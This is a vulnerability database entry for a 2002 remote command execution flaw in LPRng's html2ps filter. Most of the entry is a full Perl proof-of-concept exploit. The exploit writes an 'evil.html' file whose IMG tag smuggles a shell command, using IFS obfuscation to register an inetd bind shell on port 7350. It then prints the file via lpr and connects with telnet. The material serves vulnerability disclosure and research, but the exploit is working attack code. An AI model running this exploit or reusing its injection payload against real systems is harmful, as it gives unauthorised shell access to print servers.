LPRNG html2ps 1.0 - Remote Command Execution Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

LPRNG html2ps 1.0 Remote Command Execution Vulnerabilit


                                                source: http://www.securityfocus.com/bid/6079/info

A vulnerability has been discovered in the html2ps filter which is included in the lprng print system.

It has been reported that it is possible for a remote attacker to execute arbitrary commands. The attacker must reportedly already have access to the &#39;lp&#39; (or equivalent) account to exploit this condition.

This cause of this vulnerability is that html2ps may open files using unsanitized input that may be supplied by a potentially malicious user. 

#!/usr/bin/perl -W

# html2ps remote &#34;lp&#34; exploit. Opens shell on port 7350.
# If used for testing remote machines, /etc/printcap must
# contain apropriate remote printernames etc. and lpd must
# be set up correctly.
# (C) 2002 Sebastian Krahmer, proof of concept exploit.

# Brief problem description: lprng calls printfilters as any
# other print-spooloing systems do. It calls them with UID of lp
# thats why you get lp-user shell later. The html2ps filter which is
# a perl script is called to convert the evil.html to .ps.
# However there it breaks because html2ps calls open() function insecurely
# and some other bad stuff is done too. It tries to convert the IMG embedded
# in the html and invokes some commands which give us access. Thats all. :)


sub usage
{
	print &#34;\n$0 &#60;printhost&#62; &#60;remote-host&#62;\n&#34;.
	      &#34;\tprinthost   -- name of printer in /etc/printcap\n&#34;.
	      &#34;\tremote-host -- IP or hostname of host where shell appears\n&#34;.
	      &#34;&#39;$0 lp 127.0.0.1&#39; is recommended for everyones own machine\n\n&#34;;
	exit;
}


my $printhost = shift || usage();
my $remote = shift || usage();

print &#34;Constructing evil.html ...\n&#34;;

open O, &#34;&#62;evil.html&#34; or die $!;
print O&#60;&#60;__eof__;
&#60;HTML&#62;
&#60;IMG SRC=&#34;|IFS=A;X=A;echo\${X}7350\${X}stream\${X}tcp\${X}nowait\${X}lp\${X}/bin/sh\${X}-i|dd\${X}of=/tmp/f;inetd\${X}/tmp/f&#34;&#62;
&#60;/HTML&#62;
__eof__

close O;

if (fork() == 0) {
	exec(&#34;/usr/bin/lpr&#34;, &#34;-P&#34;, $printhost, &#34;evil.html&#34;);
}
wait;
sleep 3;
print &#34;Connecting ...\n&#34;;
exec(&#34;/usr/bin/telnet&#34;, $remote, 7350);

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1